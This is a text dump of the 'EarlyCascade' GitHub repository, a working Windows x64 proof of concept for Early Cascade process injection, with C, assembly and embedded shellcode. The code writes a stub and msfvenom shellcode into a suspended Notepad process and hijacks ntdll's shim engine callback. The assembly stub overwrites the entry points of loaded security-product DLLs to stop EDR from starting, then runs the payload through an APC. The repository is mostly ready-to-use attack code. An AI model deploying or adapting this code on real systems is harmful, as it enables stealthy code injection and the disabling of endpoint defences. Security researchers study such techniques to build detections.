Full Code of 0xNinjaCyclone/EarlyCascade for AI

main 41f188ed62ef cached
5 files
26.1 KB
7.6k tokens
6 symbols
1 requests
Download .txt
Repository: 0xNinjaCyclone/EarlyCascade
Branch: main
Commit: 41f188ed62ef
Files: 5
Total size: 26.1 KB

Directory structure:
gitextract_lkk_40uh/

├── LICENSE
├── README.md
├── bintoc.rb
├── main.c
└── stub.asm

================================================
FILE CONTENTS
================================================

================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2025 Abdallah Elsharif

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
<h1 align="center">EarlyCascade</h1>


<p align="center">
  <img src="preview.png" alt="Logo">
</p>

> It's a modern and stealthy process injection technique was discovered by [Outflank](https://www.outflank.nl/) that involves injecting and executing code in the early stages of process creation before loading EDRs for their user mode detection measures. EarlyCascade technique forces enabling the Shim engine, allowing to hijack a Shim engine callback.

## About the proof-of-concept
1. Creating a process in suspended mode.
2. Dynamically locating the addresses of enabling flag and callback.
3. Remotely allocating memory for our stub and shellcode.
4. Injecting the stub and shellcode into the target process.
5. Force the shim engine to be enabled.
6. Hijacking a shim engine callback.
7. Triggering the callback by resuming the process thread.

At this point, the stub gets executed, and does the following:
1. Disrupting the initialization of detection measures.
2. Disabling the Shim engine to avoid crash.
3. Queuing an Asynchronous Procedure Call (APC) that executes the shellcode later.

## References
- [Introducing Early Cascade Injection: From Windows Process Creation to Stealthy Injection](https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/)


================================================
FILE: bintoc.rb
================================================
#!/usr/bin/ruby
# Cod3d By 0xNinjaCyclone

open( "stub.bin", "rb" ) { |f|
    print "BYTE x64_stub[] =   "
    while buf = f.read( 16 )
        print "\n#{ ' ' * 4 * 5 }\""
        buf.bytes.map { |e| 
            print "\\x%0.2x" % e 
        }
        print '"'
    end
    puts ';';
}


================================================
FILE: main.c
================================================
/*
    Author  => Abdallah Mohamed ( 0xNinjaCyclone )
    Email   => elsharifabdallah53@gmail.com
    Date    => January 7, 2025 - 07:43PM
*/


#include <Windows.h>
#include <stdio.h>

#if !defined(_WIN64)
#error This PoC must be compiled in x64 mode
#endif

#define TARGET_PROCESS "Notepad.exe"
#define MAX_PATTERN_SIZE 0x20
#define CHECK_IN_RANGE(dwBasePtr, dwPtr, dwSecPtr) \
    ( \
        dwPtr >= (dwBasePtr + ((PIMAGE_SECTION_HEADER) dwSecPtr)->VirtualAddress) && \
        dwPtr <  (dwBasePtr + ((PIMAGE_SECTION_HEADER) dwSecPtr)->VirtualAddress + ((PIMAGE_SECTION_HEADER) dwSecPtr)->Misc.VirtualSize) ) 


typedef struct _CascadePattern {
    BYTE pData[MAX_PATTERN_SIZE];
    UINT8 un8Size;
    UINT8 un8PcOff; // Rip - PointerToOffset
} CascadePattern;


BYTE x64_stub[] =   
                    "\x56\x57\x65\x48\x8b\x14\x25\x60\x00\x00\x00\x48\x8b\x52\x18\x48"
                    "\x8d\x52\x20\x52\x48\x8b\x12\x48\x8b\x12\x48\x3b\x14\x24\x0f\x84"
                    "\x85\x00\x00\x00\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x48\x83\xc1"
                    "\x0a\x48\x83\xe1\xf0\x48\x29\xcc\x49\x89\xc9\x48\x31\xc9\x48\x31"
                    "\xc0\x66\xad\x38\xe0\x74\x12\x3c\x61\x7d\x06\x3c\x41\x7c\x02\x04"
                    "\x20\x88\x04\x0c\x48\xff\xc1\xeb\xe5\xc6\x04\x0c\x00\x48\x89\xe6"
                    "\xe8\xfe\x00\x00\x00\x4c\x01\xcc\x48\xbe\xed\xb5\xd3\x22\xb5\xd2"
                    "\x77\x03\x48\x39\xfe\x74\xa0\x48\xbe\x75\xee\x40\x70\x36\xe9\x37"
                    "\xd5\x48\x39\xfe\x74\x91\x48\xbe\x2b\x95\x21\xa7\x74\x12\xd7\x02"
                    "\x48\x39\xfe\x74\x82\xe8\x05\x00\x00\x00\xe9\xbc\x00\x00\x00\x58"
                    "\x48\x89\x42\x30\xe9\x6e\xff\xff\xff\x5a\x48\xb8\x11\x11\x11\x11"
                    "\x11\x11\x11\x11\xc6\x00\x00\x48\x8b\x12\x48\x8b\x12\x48\x8b\x52"
                    "\x20\x48\x31\xc0\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02"
                    "\x0f\x85\x83\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x01\xd0\x50"
                    "\x4d\x31\xdb\x44\x8b\x58\x20\x49\x01\xd3\x48\x31\xc9\x8b\x48\x18"
                    "\x51\x48\x85\xc9\x74\x69\x48\x31\xf6\x41\x8b\x33\x48\x01\xd6\xe8"
                    "\x5f\x00\x00\x00\x49\x83\xc3\x04\x48\xff\xc9\x48\xbe\x38\x22\x61"
                    "\xd4\x7c\xdf\x63\x99\x48\x39\xfe\x75\xd7\x58\xff\xc1\x29\xc8\x91"
                    "\x58\x44\x8b\x58\x24\x49\x01\xd3\x66\x41\x8b\x0c\x4b\x44\x8b\x58"
                    "\x1c\x49\x01\xd3\x41\x8b\x04\x8b\x48\x01\xd0\xeb\x43\x48\xc7\xc1"
                    "\xfe\xff\xff\xff\x5a\x4d\x31\xc0\x4d\x31\xc9\x41\x51\x41\x51\x48"
                    "\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\x5f\x5e\x48\x31\xc0\xc3\x59"
                    "\x58\xeb\xf6\xbf\x05\x15\x00\x00\x48\x31\xc0\xac\x38\xe0\x74\x0f"
                    "\x49\x89\xf8\x48\xc1\xe7\x05\x4c\x01\xc7\x48\x01\xc7\xeb\xe9\xc3"
                    "\xe8\xb8\xff\xff\xff";


/* Created by msfvenom ( msfvenom -a x64 -p windows/x64/exec CMD=calc.exe -f c ) */
BYTE x64_shellcode[] =  "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
                        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
                        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
                        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
                        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
                        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
                        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
                        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
                        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
                        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
                        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
                        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
                        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
                        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
                        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
                        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
                        "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
                        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
                        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
                        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


/* Stolen from -> https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html */
LPVOID encode_system_ptr(LPVOID ptr) {
    // get pointer cookie from SharedUserData!Cookie (0x330)
    ULONG cookie = *(ULONG*)0x7FFE0330;

    // encrypt our pointer so it'll work when written to ntdll
    return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F);
}

LPVOID find_pattern(LPBYTE pBuffer, DWORD dwSize, LPBYTE pPattern, DWORD dwPatternSize)
{
    if ( dwSize > dwPatternSize ) // Avoid OOB
        while ( (dwSize--) - dwPatternSize ) {
            if ( RtlCompareMemory(pBuffer, pPattern, dwPatternSize) == dwPatternSize )
                return pBuffer;

            pBuffer++;
        }

    return NULL;
}

LPVOID find_SE_DllLoadedAddress(HANDLE hNtDLL, LPVOID *ppOffsetAddress) {
    DWORD dwValue;
    DWORD_PTR dwPtr;
    DWORD_PTR dwTextPtr;
    DWORD_PTR dwTextEndPtr;
    DWORD_PTR dwMRDataPtr;
    DWORD_PTR dwResultPtr;
    CascadePattern aPatterns[] = { /* We are searching for these patterns: */
        {
            /*
                
                8b14253003fe7f       mov     edx, dword ptr [7FFE0330h]
                8bc2                 mov     eax, edx
                488b3d??????00       mov     rdi, qword ptr [ntdll!g_pfnSE_DllLoaded (????????????)]
            */
            .pData = "\x8B\x14\x25\x30\x03\xFE\x7F\x8B\xC2\x48\x8B\x3D",
            .un8Size = 0x0C,
            .un8PcOff = 0x04
        },
        
        /* Sentinel */
        { 0x00 }
    };

    /* Nt Headers */
    dwPtr = (DWORD_PTR) hNtDLL + ((PIMAGE_DOS_HEADER) hNtDLL)->e_lfanew;

    /* Get the number of ntdll sections */
    dwValue = ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.NumberOfSections;

    /* The beginning of the section headers */
    dwPtr = (DWORD_PTR) &((PIMAGE_NT_HEADERS) dwPtr)->OptionalHeader + ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.SizeOfOptionalHeader;

    while ( dwValue-- ) {
        /* Save .text section header */
        if ( strcmp(((PIMAGE_SECTION_HEADER) dwPtr)->Name, ".text") == 0 )
            dwTextPtr = dwPtr;

        /* Find .mrdata section header */
        if ( strcmp(((PIMAGE_SECTION_HEADER) dwPtr)->Name, ".mrdata") == 0 )
            dwMRDataPtr = dwPtr;   

        /* Next section header */
        dwPtr += sizeof(IMAGE_SECTION_HEADER);
    }

    /* Look for all specified patterns */
    for ( CascadePattern *pPattern = aPatterns; pPattern->un8Size; pPattern++ ) {
        /* Points to the beginning of .text section */
        dwResultPtr = (DWORD_PTR) hNtDLL + ((PIMAGE_SECTION_HEADER) dwTextPtr)->VirtualAddress;

        /* The end of .text section */
        dwTextEndPtr = dwResultPtr + ((PIMAGE_SECTION_HEADER) dwTextPtr)->Misc.VirtualSize;

        while ( dwResultPtr = (DWORD_PTR) find_pattern((LPBYTE) dwResultPtr, dwTextEndPtr-dwResultPtr, pPattern->pData, pPattern->un8Size) ) {
            /* Get the offset address */
            dwResultPtr += pPattern->un8Size;

            /* Ensure the validity of the opcode we rely on */
            if ( (*(BYTE *)(dwResultPtr + 0x3)) == 0x00 ) {
                /* Fetch the address */
                dwPtr = (DWORD_PTR) ( *(DWORD32 *) dwResultPtr ) + dwResultPtr + pPattern->un8PcOff;

                /* Is that address in the range we expect!? */
                if ( CHECK_IN_RANGE((DWORD_PTR) hNtDLL, dwPtr, dwMRDataPtr) ) {
                    /* Set the offset address */
                    if ( ppOffsetAddress )
                        ( *ppOffsetAddress ) = (LPVOID) dwResultPtr;

                    return (LPVOID) dwPtr;
                }
            }
        }

    }

    /* Failed to find the address */
    ( *ppOffsetAddress ) = NULL;

    return NULL;
}

LPVOID find_ShimsEnabledAddress(HANDLE hNtDLL, LPVOID pDllLoadedOffsetAddress) {
    DWORD dwValue;
    DWORD_PTR dwPtr;
    DWORD_PTR dwResultPtr;
    DWORD_PTR dwEndPtr;
    DWORD_PTR dwDataPtr;
    CascadePattern aPatterns[] = { /* We are looking for these patterns: */
        {
            /*
                c605??????0001       mov     byte ptr [ntdll!g_ShimsEnabled (????????????)], 1
            */
            .pData = "\xc6\x05",
            .un8Size = 0x02,
            .un8PcOff = 0x05
        },
        {
            /*
                443825??????00       cmp     byte ptr [ntdll!g_ShimsEnabled (????????????)], r12b
            */
            .pData = "\x44\x38\x25",
            .un8Size = 0x03,
            .un8PcOff = 0x04
        },
        
        /* Sentinel */
        { 0x00 }
    };

    /* Nt Headers */
    dwPtr = (DWORD_PTR) hNtDLL + ((PIMAGE_DOS_HEADER) hNtDLL)->e_lfanew;

    /* Get the number of ntdll sections */
    dwValue = ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.NumberOfSections;

    /* The beginning of the section headers */
    dwPtr = (DWORD_PTR) &((PIMAGE_NT_HEADERS) dwPtr)->OptionalHeader + ((PIMAGE_NT_HEADERS) dwPtr)->FileHeader.SizeOfOptionalHeader;

    while ( dwValue-- ) {
        /* Find .data section header */
        if ( strcmp(((PIMAGE_SECTION_HEADER) dwPtr)->Name, ".data") == 0 ) {
            dwDataPtr = dwPtr;   
            break; 
        } 

        /* Next section header */
        dwPtr += sizeof(IMAGE_SECTION_HEADER);
    }

    /* Look for all specified patterns */
    for ( CascadePattern *pPattern = aPatterns; pPattern->un8Size; pPattern++ ) {
        /* Searching from the address where we found the offset of SE_DllLoadedAddress */
        dwPtr = dwEndPtr = (DWORD_PTR) pDllLoadedOffsetAddress;

        /* Also take a look in the place just before this address */
        dwPtr -= 0xFF;

        /* End of block we are searching in */
        dwEndPtr += 0xFF;
        
        while ( dwPtr = (DWORD_PTR) find_pattern((LPBYTE)dwPtr, dwEndPtr-dwPtr, pPattern->pData, pPattern->un8Size) ) {
            /* Jump into the offset */
            dwPtr += pPattern->un8Size;
            
            /* Ensure the validity of the opcode we rely on */
            if ( (*(BYTE *)(dwPtr + 0x3)) == 0x00 ) {
                /* Fetch the address */
                dwResultPtr = (DWORD_PTR) ( *(DWORD32 *) dwPtr ) + dwPtr + pPattern->un8PcOff;   

                /* Is that address in the range we expect!? */
                if ( CHECK_IN_RANGE((DWORD_PTR) hNtDLL, dwResultPtr, dwDataPtr) )
                    return (LPVOID) dwResultPtr;
            }
        }
    }

    return NULL;
}

int main(int argc, char **argv) {
    HANDLE hNtDLL;
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFOA si = { 0 };
    LPVOID pBuffer;
    LPVOID pShimsEnabledAddress;
    LPVOID pSE_DllLoadedAddress;
    LPVOID pPtr;
    int nSuccess = EXIT_FAILURE;
    BOOL bEnable = TRUE;
    BOOL bIsWow64 = FALSE;

    puts(

        "\n"                                               
        "              (        (                     (                \n"
        " (      ) (   )\\(      )\\     )           )  )\\ )  (       \n"
        " )\\  ( /( )( ((_)\\ ) (((_) ( /( (   (  ( /( (()/( ))\\      \n"
        "((_) )(_)|()\\ _(()/( )\\___ )(_)))\\  )\\ )(_)) ((_))((_)    \n"
        "| __((_)_ ((_) |)(_)|(/ __((_)_((_)((_|(_)_  _| (_))          \n"
        "| _|/ _` | '_| | || || (__/ _` (_-< _|/ _` / _` / -_)         \n"
        "|___\\__,_|_| |_|\\_, | \\___\\__,_/__|__|\\__,_\\__,_\\___|  \n"
        "                |__/                                          \n"
        "                      By  =>  @0xNinjaCyclone                 \n"
        "\n"

    );

    si.cb = sizeof( STARTUPINFOA );
        
    printf("[*] Create a process in suspended mode ( %s )\n", TARGET_PROCESS);

    if ( !CreateProcessA(
        NULL, 
        TARGET_PROCESS, 
        NULL, 
        NULL, 
        FALSE, 
        CREATE_SUSPENDED, 
        NULL, 
        NULL, 
        &si, 
        &pi
    ) )
        return nSuccess;

    puts( "[+] The process has been created successfully" );

    puts( "[*] Getting a handle on NtDLL" );
    hNtDLL = GetModuleHandleA( "NtDLL" );
    printf( "[+] NtDLL Base Address = 0x%p\n", hNtDLL );


    do {

        /* Check if the target process is not 64bit (May someone sets TARGET_PROCESS to a wow64 process) */
        if ( IsWow64Process(pi.hProcess, &bIsWow64) && bIsWow64 ) {
            puts( "[-] This PoC targets x64 processes only" );
            break;
        }

        puts( "[*] Dynamically Search for the Callback Pointer Address ( g_pfnSE_DllLoaded )");
        if ( !(pSE_DllLoadedAddress = find_SE_DllLoadedAddress(hNtDLL, &pPtr)) )
            break;

        printf( "[+] Found the Callback Address at 0x%p\n", pSE_DllLoadedAddress );

        puts( "[*] Dynamically Search for the Enabling Flag Address ( g_ShimsEnabled )");
        if ( !(pShimsEnabledAddress = find_ShimsEnabledAddress(hNtDLL, pPtr)) )
            break;

        printf( "[+] Found the Enabling Flag Address at 0x%p\n", pShimsEnabledAddress );

        puts( "[*] Remotely allocate memory for both stub & shellcode" );
        if ( !(pBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(x64_stub) + sizeof(x64_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) )
            break;

        /* Shellcode address */
        pPtr = (LPVOID)( (DWORD_PTR) pBuffer + sizeof(x64_stub) );

        printf( "[+] Our stub will be injected at 0x%p\n", pBuffer );
        printf( "[+] Our shellcode will be injected at 0x%p\n", pPtr );

        /* Tell the stub where the enabling flag is located */
        RtlCopyMemory( find_pattern(x64_stub, sizeof(x64_stub), "\x11\x11\x11\x11\x11\x11\x11\x11", 8), &pShimsEnabledAddress, sizeof(LPVOID) );

        puts( "[*] Injecting our cascade stub" );
        if ( !WriteProcessMemory(pi.hProcess, pBuffer, x64_stub, sizeof(x64_stub), NULL) )
            break;

        puts( "[+] Our stub has been successfully injected into the remote process" );

        puts( "[*] Injecting our Shellcode" );
        if ( !WriteProcessMemory(pi.hProcess, pPtr, x64_shellcode, sizeof(x64_shellcode), NULL) )
            break;

        puts( "[+] Our Shellcode has been successfully injected into the remote process" );

        pPtr = encode_system_ptr((LPVOID) pBuffer);
        printf( "[*] The Callback Address has been encoded to 0x%p\n", pPtr );

        puts ("[*] Hijacking the Callback for making it executes our stub" );
        if ( !WriteProcessMemory(pi.hProcess, pSE_DllLoadedAddress, (LPCVOID) &pPtr, sizeof(LPVOID), NULL) )
            break;

        puts( "[+] Hijacking has been done successfully" );

        puts( "[*] Enabling Shim Engine for triggering our stub later" );
        if ( !WriteProcessMemory(pi.hProcess, pShimsEnabledAddress, (LPCVOID) &bEnable, sizeof(BOOL), NULL) )
            break;

        puts( "[+] Shim Engine is enabled now" );
        
        puts( "[*] Triggering the callback" );
        if ( !ResumeThread(pi.hThread) )
            break;

        puts( "[+] Injection has been done successfully" );
        nSuccess = EXIT_SUCCESS;

    } while( FALSE );

    if ( nSuccess == EXIT_FAILURE ) {
        puts( "[-] Unfortunately, failed to cascade the process!" );

        if ( pi.hProcess )
            TerminateProcess( pi.hProcess, EXIT_FAILURE );

        puts( "[*] Target process has terminated" );
    }

    puts( "[*] Cleaning up" );
    if ( pi.hThread )
        CloseHandle( pi.hThread );

    if ( pi.hProcess )
        CloseHandle( pi.hProcess );

    return nSuccess;
}


================================================
FILE: stub.asm
================================================
;-------------------------------------------------------;
;   Author  => Abdallah Mohamed ( 0xNinjaCyclone )      ;
;   Email   => elsharifabdallah53@gmail.com             ;
;   Date    => January 7, 2025                          ;
;   Compile => nasm -f bin -O3 -o stub.bin stub.asm     ;
;-------------------------------------------------------;


[BITS 64]

cascade:
    push rsi                            ; Save the source register
    push rdi                            ; Save the dest register
    mov rdx, qword gs:[60h]             ; Getting Process Environment Block Address ( PPEB )
    mov rdx, qword [rdx+18h]            ; Fetching the Loader data address ( PPEB->Ldr )
    lea rdx, qword [rdx+20h]            ; Load MemoryOrderList Address
    push rdx                            ; Pushing it onto stack
    mov rdx, qword [rdx]                ; We are skipping the main module

preempt_edr:
    mov rdx, qword [rdx]                ; Next module
    cmp rdx, qword [rsp]                ; Check if we've done a full circuit round
    je preempt_done
    mov rsi, qword [rdx+50h]            ; Current DLL name
    movzx rcx, word [rdx+4Ah]           ; Length of DLL name
    add rcx, 0ah                        ; For f*cking NUL & Alignment
    and rcx, 0FFFFFFFFFFFFFFF0h         ; Ensuring alignment
    sub rsp, rcx                        ; Momory for the ANSI version
    mov r9, rcx                         ; Save the size of reserved memory
    xor rcx, rcx                        ; Clear the counter

adjust_name:
    xor rax, rax                        ; Clear the buffer
    lodsw                               ; We need to read as word 
    cmp al, ah                          ; Is that a NUL?
    jz hunt_edr                         ; We are ready!
    cmp al, 61h                         ; Hashes calculated in lower case, so we have to check
    jge str_lower                       ; Current char looks like in upper case? 
    cmp al, 41h                         ; Maybe a dot or something else (ensure that)
    jl str_lower                        ; Yep, we should not pay attention to it
    add al, 20h                         ; Nope?, convert it. 

str_lower:
    mov byte [rsp+rcx], al              ; Write the character into the buffer
    inc rcx                             ; Increamenting the counter
    jmp adjust_name                     ; Keep adjusting

hunt_edr:
    mov byte [rsp+rcx], 0               ; Mark the end of the string
    mov rsi, rsp                        ; Now, rsi is a pointer to the ANSI string
    call str_hash                       ; Compute the hash
    add rsp, r9                         ; We don't need that string anymore 
    mov rsi, 377D2B522D3B5EDh           ; hashing result of "ntdll.dll"
    cmp rsi, rdi                        ; Check if current module is NtDLL 
    je preempt_edr                      ; Yes?, that's allowed
    mov rsi, 0D537E9367040EE75h         ; hashing result of "kernel32.dll"
    cmp rsi, rdi                        
    je preempt_edr
    mov rsi, 2D71274A721952Bh           ; hashing result of "kernelbase.dll"
    cmp rsi, rdi
    je preempt_edr

    ; EDR Tools wanna mess with us, let's hijacking it!
    call edr_clobbering
    jmp just_return_zero

edr_clobbering: ; No other modules supposed to be loaded that early
    pop rax                             ; Own procedure for redirecting EDRs to
    mov qword [rdx+30h], rax            ; Kicking EDRs entrypoints off
    jmp preempt_edr                     ; Don't stop until clobbering all

preempt_done:
    pop rdx                             ; Restore the MemoryOrderList
    mov rax, 1111111111111111h          ; Pointer to g_ShimsEnabled flag
    mov byte [rax], 0h                  ; Disable Shim Engine
    mov rdx, qword [rdx]                ; We points now to the main entry
    mov rdx, qword [rdx]                ; Jump into the entry of NtDLL
    mov rdx, qword [rdx+20h]            ; NtDLL Base Address
    xor rax, rax                        ; Clear the accumulator register
    mov eax, dword [rdx+3Ch]            ; Getting Image NT Headers RVA
    add rax, rdx                        ; Jump into the Image NT Headers
    cmp word [rax+0x18], 020Bh          ; Checking "Machine" member in the File Header
    jne finish
    mov eax, dword [rax+88h]            ; Getting Export Tables RVA from Data Directory Table
    add rax, rdx                        ; Jump into there
    push rax                            ; Save Export Tables Address
    xor r11, r11                        ; Clear the register
    mov r11d, dword [rax+20h]           ; Export Name Table RVA ( ENT )
    add r11, rdx                        ; Jump into there
    xor rcx, rcx                        ; Clear the counter register
    mov ecx, dword [rax+18h]            ; Number of functions
    push rcx                            ; Save the number of functions to be used later

find_queueapc_api:
    test rcx, rcx                       ; Check the end of the table
    jz api_notfound                     ; We f*cked up, "NtQueueApcThread" cannot be found!
    xor rsi, rsi                        ; Clear the source
    mov esi, dword [r11]                ; Looking up the ENT
    add rsi, rdx                        ; Getting a pointer to the function name
    call str_hash                       ; Calculating the hash of current function name

check_function:
    add r11, 4h                         ; Jump into the next entry in the table
    dec rcx                             ; Decrement our counter
    mov rsi, 9963DF7CD4612238h          ; DJB2 Hash of "NtQueueApcThread"
    cmp rsi, rdi                        ; Compare with the API we search for
    jne find_queueapc_api
    pop rax                             ; Restoring the number of functions
    inc ecx                             ; We need to make the ecx equal to the remaining exports+1
    sub eax, ecx                        ; Calculating the desired ordinal index
    xchg eax, ecx                       ; Just toggling
    pop rax                             ; Restoring the Export Tables Address
    mov r11d, dword [rax+24h]           ; Export Ordinal Table RVA 
    add r11, rdx                        ; Jump into there 
    mov cx, word [r11+2h*rcx]           ; Fetching the ordinal
    mov r11d, dword [rax+1ch]           ; Export Address Table RVA ( EAT )
    add r11, rdx                        ; Jump into there 
    mov eax, dword [r11+4h*rcx]         ; Fetching the function RVA
    add rax, rdx                        ; Finally, we have the API Address
    jmp shellcode

fire:
    mov rcx, -2                         ; ThreadHandle ( Current thread )
    pop rdx                             ; ApcRoutine ( Shellcode address )
    xor r8, r8                          ; ApcRoutineContext ( NULL )
    xor r9, r9                          ; ApcStatusBlock ( NULL )
    push r9                             ; ApcReserved ( NULL )
    push r9                             ; Alignment
    sub rsp, 20h                        ; Reserve ( sizeof(QWORD) * 4 )
    call rax                            ; Invoke "NtQueueApcThread"
    add rsp, 30h                        ; Clear off the stack

finish:
    pop rdi
    pop rsi

just_return_zero:
    xor rax, rax
    ret

api_notfound:
    pop rcx
    pop rax
    jmp finish

str_hash:
    mov rdi, 5381                       ; DJB2 Magic

compute_hash: ; DJB2 Hashing Algorithm
    xor rax, rax                        ; rax is utilized to reads the string
    lodsb                               ; Fetch a charecter
    cmp al, ah                          ; End of the string!?
    je hash_computed                    ; Don3, go back to the caller
    mov r8, rdi                         ; Save the computed value
    shl rdi, 5                          ; Value << 5
    add rdi, r8                         ; Value += OldValue
    add rdi, rax                        ; Value += ASCII(c)
    jmp compute_hash

hash_computed:
    ret

shellcode:
    call fire
Download .txt
gitextract_lkk_40uh/

├── LICENSE
├── README.md
├── bintoc.rb
├── main.c
└── stub.asm
Download .txt
SYMBOL INDEX (6 symbols across 1 files)

FILE: main.c
  type CascadePattern (line 23) | typedef struct _CascadePattern {
  function LPVOID (line 82) | LPVOID encode_system_ptr(LPVOID ptr) {
  function LPVOID (line 90) | LPVOID find_pattern(LPBYTE pBuffer, DWORD dwSize, LPBYTE pPattern, DWORD...
  function LPVOID (line 103) | LPVOID find_SE_DllLoadedAddress(HANDLE hNtDLL, LPVOID *ppOffsetAddress) {
  function LPVOID (line 185) | LPVOID find_ShimsEnabledAddress(HANDLE hNtDLL, LPVOID pDllLoadedOffsetAd...
  function main (line 263) | int main(int argc, char **argv) {
Condensed preview — 5 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (29K chars).
[
  {
    "path": "LICENSE",
    "chars": 1074,
    "preview": "MIT License\n\nCopyright (c) 2025 Abdallah Elsharif\n\nPermission is hereby granted, free of charge, to any person obtaining"
  },
  {
    "path": "README.md",
    "chars": 1337,
    "preview": "<h1 align=\"center\">EarlyCascade</h1>\n\n\n<p align=\"center\">\n  <img src=\"preview.png\" alt=\"Logo\">\n</p>\n\n> It's a modern and"
  },
  {
    "path": "bintoc.rb",
    "chars": 288,
    "preview": "#!/usr/bin/ruby\n# Cod3d By 0xNinjaCyclone\n\nopen( \"stub.bin\", \"rb\" ) { |f|\n    print \"BYTE x64_stub[] =   \"\n    while buf"
  },
  {
    "path": "main.c",
    "chars": 16027,
    "preview": "/*\n    Author  => Abdallah Mohamed ( 0xNinjaCyclone )\n    Email   => elsharifabdallah53@gmail.com\n    Date    => January"
  },
  {
    "path": "stub.asm",
    "chars": 8033,
    "preview": ";-------------------------------------------------------;\n;   Author  => Abdallah Mohamed ( 0xNinjaCyclone )      ;\n;   "
  }
]

About this extraction

This page contains the full source code of the 0xNinjaCyclone/EarlyCascade GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 5 files (26.1 KB), approximately 7.6k tokens, and a symbol index with 6 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!